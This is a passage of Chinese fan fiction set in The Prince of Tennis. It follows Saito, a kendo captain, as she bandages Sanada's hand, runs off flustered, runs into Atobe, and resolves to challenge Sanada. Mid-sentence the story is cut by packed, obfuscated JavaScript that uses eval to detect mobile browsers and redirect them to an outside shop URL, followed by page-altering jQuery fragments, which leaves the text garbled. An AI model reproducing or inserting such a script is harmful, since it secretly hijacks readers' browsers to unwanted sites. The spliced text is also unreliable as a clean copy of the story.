“之前我一直觉得除了幸村,我不可能输给任何一个人……直到手冢出现打破了这幼稚想法。”
“但是你不觉得一直想着打败他的同时,也会想起那个时候的感受?”
“所以我要打败他,打败他后,我就不会被那种讨厌的感受给束缚住了。”
这句话犹如闪电一样,触动了斋藤最深刻的执念。
因为被打败的事实打破了自身实力的幻想。
因为喜欢剑道实事打破了单纯为了泄愤报复的想象。
自己因为羞怯选择了遗忘,而真田从未逃避。
她觉得太不公平了,就连这种事情上,真田都要比她更快一步。
斋藤想要快点和真田比试,挽回自己一点点尊严。
“——斋藤君,你绑得太紧了。”
斋藤回过神,看见真田咬紧牙齿,皱着眉头的样子,立刻撕掉胶布,拉扯到了真田的伤口。真田瞬间咬紧了牙齿,可是齿间还是发出了“嘶”的一音。她紧张地抓着真田的手指,为了能够看清细小的创口,她将真田手拉近。看到伤口没有渗出血,她放下心来,呼出一口气,真田的手也跟着抖了一下。
“痒吗?”斋藤问。
“你还打不打算帮我包扎了?”真田反问,向下拉长的嘴角表达对斋藤的一连串失误的不满。
斋藤不想因为不专注导致真田再受了一次苦,就不再和真田说话,干脆麻利地将胶布绑好。
“好了。”
斋藤点着头,满意地看着自己努力的成果。
在这段时间里,她也确定真田如他自己说的身体没有任何大碍。
“那我就先告辞了。”
“斋藤君。”
斋藤起身准备离开,真田叫住了她。
“……恭喜你赢下全中个人赛冠军。”
真田说。
“你不是已经向我道贺了?”
“‘当着面直接说,会更有诚意’。”
斋藤记得这是她和真田说过的话。
“嗯,也是,谢谢!”
她说完头也不回地跑出休息室。她确定自己将门阖上后,她将发软的身体倚在门上,顺着光滑的门扉向下滑,然后蹲下。她用手臂和膝盖围成一个堡垒,遮掩着自己红透的脸颊,而忽视了耳朵也沾上了同样的颜色。
“真是的,怎么突然和我说这个……我可是一点心理准备都没有……”
真田的道贺让她很开心,但同时也让她想到几天之前,自己戴着帽子,学着真田的语气跟自己说话。
为什么那个时候会对真田这句话如此渴望,为什么会做那么幼稚的事。
我真是个大笨蛋!
斋藤沉浸在无处排解的羞耻感里,直到她听见身后传来的脚步声。
如果真田开门看到自己蹲在门口,一定会问“怎么了”。到那时候,她总不能老老实实回答,因为正是真田的话,让她想起了一些难以启齿的事情。
快想想理由!快点!
可还没等脑子转出一个合适的借口,双脚就先背叛了思考。
她猛地从膝盖弯曲的蹲姿弹起,仿佛蓄势已久的兔子,一瞬间冲了出去。她不知道兔子究竟是怎么跑的,但她确信,“动如脱兔”正适合形容此刻的自己。
平时的刻苦训练,让她在“危机”时刻做出了极为明智的判断。
跑。
而在奔跑中,她意外地察觉,胸口那股闷热的羞耻和压抑正在被甩在身后。血液因为加速循环而变得滚烫,呼吸带来节奏,仿佛身体的律动把郁结的情绪一同冲散。
原来,奔跑不仅是逃避,更像是一种释放。积压在心里的情绪在肌肉的用力和汗水的蒸腾里,逐渐找到了出口。
“——果然不能松懈啊!”
她在心里给自己下了结论。
总之,先跑到能把这件事彻底放下为止。
斋藤高估了跑步的威力。
她只要觉得差不多了,停下脚步,喜悦和羞耻感又会参与进思考。
不过一路跑下来,将所有的能量倾注在身体上,不去给大脑供给养分,大脑想的只有停下来休息这一件事了。这样也算是达成目的了。
斋藤明明不是来打网球的,却和来打比赛的一样气喘吁吁的,靠着自动贩卖机买水。
如果休息后还继续纠结,那么就再跑一圈——
“喂,迹部大人在后面的练习场上和青学的选手打网球。”
“还有很多人在那里,连立海大的真田也在。”
听到真田的名字,斋藤心头一颤,捏紧水瓶向交谈的人群的方向看去。
她知道真田的体力槽没有尽头,但才休息过又打网球了,还是多少让她担心。
她决定稍微休息一下再过去看看。
斋藤扶着场边的铁丝网,就算刚才休息了片刻,疲劳还残留在细胞里,每一步都沉重得如同踩在泥沼里。
场内,真田和迹部刚结束交谈,似乎正准备离开。
隔着一段距离,她能看到真田的背影,状态看上去比现在的自己要好上太多。斋藤悄然松了口气,只要他没事就好。她悄悄地、只想再多看一眼,然后就离开。
然而,迹部的身后仿佛背后长了眼睛,他的声音穿透空气,精准地锁定了她。
“斋藤小姐。”
他的声线平稳,却带着不容忽视的存在感,像是离弦之箭将斋藤的身体钉在原地。
在两道追究的视线下,斋藤只能用蹒跚的步伐移动过去。
“发生什么事了?”迹部的眼力何其锐利,他上下打量着斋藤狼狈的模样,嘴角勾起一丝探究的弧度,“你这副样子,可不像平时的你。”
“我跑步去了。”斋藤答。
这个回答,让场上两位顶尖选手的脸上,同时浮现出一种“你在说什么蠢话”的困惑神情。
“其他人在比赛,你却在外面跑步?”
真田向前,那份属于立海大副部长的压迫感扑面而来,胁迫着斋藤给出合理的答案。这句质问本身,就是是在指责她对比赛、对“网球”这项运动本身缺乏尊重。
迹部轻笑一声,他看出了真田的怒气,也看出了斋藤的窘迫,饶有兴致地补充道,“本大爷也好奇剑道部的人在网球赛场跑步的理由是什么。”
在两道视线的双重夹击下,斋藤的头脑一片空白,那个因尴尬而奔跑的真实理由无论如何都说不出口。她只能避开他们的目光,挤出一个连自己都无法相信的借口:
“——因为我突然想起来,今天还没完成日常的跑步训练!”
听到这话,两人非但没有任何不悦,还同时笑了,不过真田的豪快笑声压过了迹部从鼻子发出短促的带着笑意音节。
真田这样的笑声着实把斋藤吓了一跳
“不愧是剑道部的主将,对自己要求真严格啊。”
“没有一点懈怠,不错!”
“斋藤小姐。”
迹部眯眼,单边嘴角挑高,看着真田,却向斋藤问道:“你之前特意请教我就是为了他?你直接问我这家伙用的什么牌子的球拍不就好?”
“我那时还不知道迹部先生认识真田君。”
“认识?去年的训练营本大爷可是在网球场上有好好关照过他,姑且算是认识吧。”
“前一段时间你还跑到立海大来专程找我挑战。”
“是吗,本大爷对必胜的对局没什么印象。”
看着迹部挑衅的得意笑容,斋藤不明白迹部为什么要这么说,明明比赛之前迹部还亲口跟她说过这件事。但是她很识趣地没有插话。
“斋藤小姐,真田他绝对习惯不了本大爷推荐的球拍,看来你的心意要被辜负了。”迹部转而对斋藤惋惜地说。
“我也没打算用。”
“真田,当着送礼的人的面说这种话,你也太过分了。”
“斋藤君一定会理解我说的。”
“……真田,我觉得斋藤小姐应该不喜欢你用那种称呼叫她。”
并不会。
斋藤在内心驳斥迹部的说法。
“你根本不了解她。”真田双手抱臂,语气相当强势。
“这种事情本大爷才不在乎,不过,你觉得你真的了解吗?”
迹部抛给真田的问题,却让斋藤陷入沉思。
了解……
至少真田绝对不知道她因为不值一提的幼稚理由,想要挑战他的想法……
不,这种事情现在一点也不重要!
眼前两人由“还能交流”,到“寸步不让”,只隔了几句话。
而导火索,竟是因为她的存在。
她必须要阻止两人——
“喂,斋藤君。”真田瞪着迹部,转而用命令的口吻叫着斋藤,“止汗喷雾你带了吗?我可不想错过幸村和青学小鬼的比赛。”
“哎,那个,可是……”
斋藤有些犹豫,她用的止汗喷雾是带香味的,虽然味道不是很浓烈,但是她觉得偏硬汉风格的真田
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487302|202083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应该没办法接受。
“你没有带吗?”
“……带倒是带了。”
“给我。”
斋藤从包里拿出喷雾,将香型的标签展示给真田看,真田似乎没注意到毫不犹豫地拿过去,摇晃了两下,打开瓶盖然后对着自己的身体用力按着喷雾。
出乎斋藤意料的是,真田没有在意喷雾的香气,他像是泄愤一样用力地压着喷头。
喷洒动作流畅自然到会觉得这就是真田平日也在用的止汗喷雾。
只不过斋藤感觉真田会故意地往迹部的方向喷,这一行为行为让真田手里的喷雾更像是驱虫剂。而不知什么时候,迹部早已站在喷雾的范围之外。
“本大爷去看比赛了,你们慢慢闹吧。”
真田一直瞪着迹部离去的背影,手指还是没有松开。当迹部的身影彻底消失在赛场入口的阴影后,他才抬起手指,将喷雾还给斋藤。
斋藤感到喷雾的重量少了不少,好在这款喷雾香味并不是很重,不用担心真田变成移动的香薰机。
“真田君,没想到你和迹部先生的关系挺好的。”
“一点也不好!倒是你们俩的关系好过头了。”
真田将烦躁的矛头指向了斋藤。
“是吗?不过绝对比不上和真田君的关系。”
斋藤不动声色地捧高真田在自己心中的位置,变相地安抚真田的情绪。
“不要把我和才认识的人比。”
真田的呛声让斋藤确信迹部和真田的关系是真的不好。
“那你告诉我你喜欢用什么牌子的球拍啊?我到现在也不知道真田君用的是哪个牌子的。”
面对这凭空冒出的问题,真田皱眉。
“你为什么对这个问题这么执着?”
“我知道才认识的人用的,却还不知道你的。”
因为情绪上头没办法冷静思考,暂时找不出别的理由真田只能不情愿地将网球拍递到斋藤的面前,将球拍的LOGO展示在斋藤面前。
“你千万不要再买网球拍给我了。”真田用严肃的语气告诫斋藤。
“我知道了。”
斋藤凑上前看,然后她闻到了真田身上止汗喷雾的味道。
虽然是同款香型,但真田让这股香味有了不同的质感。原本低调清凉的气息在他身上产生一种厚重张扬的力量感。
当初因为这个香味比较低调,斋藤才选择这个。她为了确认稍微贴近真田,更加仔细地确认着味道。
有点不一样,不过她不讨厌现在这股在真田身上的香味。
“为什么要贴着我?”
斋藤这才发现她把脸凑近到了算是亲密的距离。
“香味感觉有些不一样……”斋藤说出了感想。
“很糟糕?”真田停下脚步,微微皱眉并用手抵着额头,一脸懊恼。
“不,很合适,很有男子气概。”
听到这样的褒奖,真田立刻振作。
“我一直很有男子气概,是你太迟钝了。”
斋藤无奈地澄清:“我是说这香味在你身上才有男子气概,在我身上根本体现不出来。”
真田怔了一瞬,眼神微微闪烁,没再说话。片刻后,他忽然说:“……我要去看比赛了。”
声音听似平淡,却带着明显的局促。
真田把斋藤撇在原地,独自朝球场后台入口快步走去。
毕竟是幸村的比赛,也是立海大“三连霸”的最终一战,真田这般匆忙也就理所当然了。
斋藤不禁羡慕幸村。
如果真田也愿意来看我的比赛就好了。
——以后试着邀请他一次吧。
回到观众席,斋藤并没有专注于场上的攻防,她的视线全程黏在两位选手手里的球拍上。
她握着真田送的竹刀拿下过全中冠军,可真田却把她送的网球拍丢在一边吃灰。
太不公平了。
她的心和眉梢一起拧紧。
明知真田已经强调过别乱来,斋藤仍决定再买一支更合他手的球拍送过去,让真田用她的球拍打出成绩。
只是照他那脾气,多半不会领情,还要训她“听不进别人说的话”。
那就换个办法。
先在剑道上打败他,再把“接受我新买的球拍”定为惩罚,败者没有讨价还价的资格,这个道理,真田应该懂。
斋藤飞快盘点起接下来几天的安排,似乎还有空档。她下定决心,向真田发出挑战。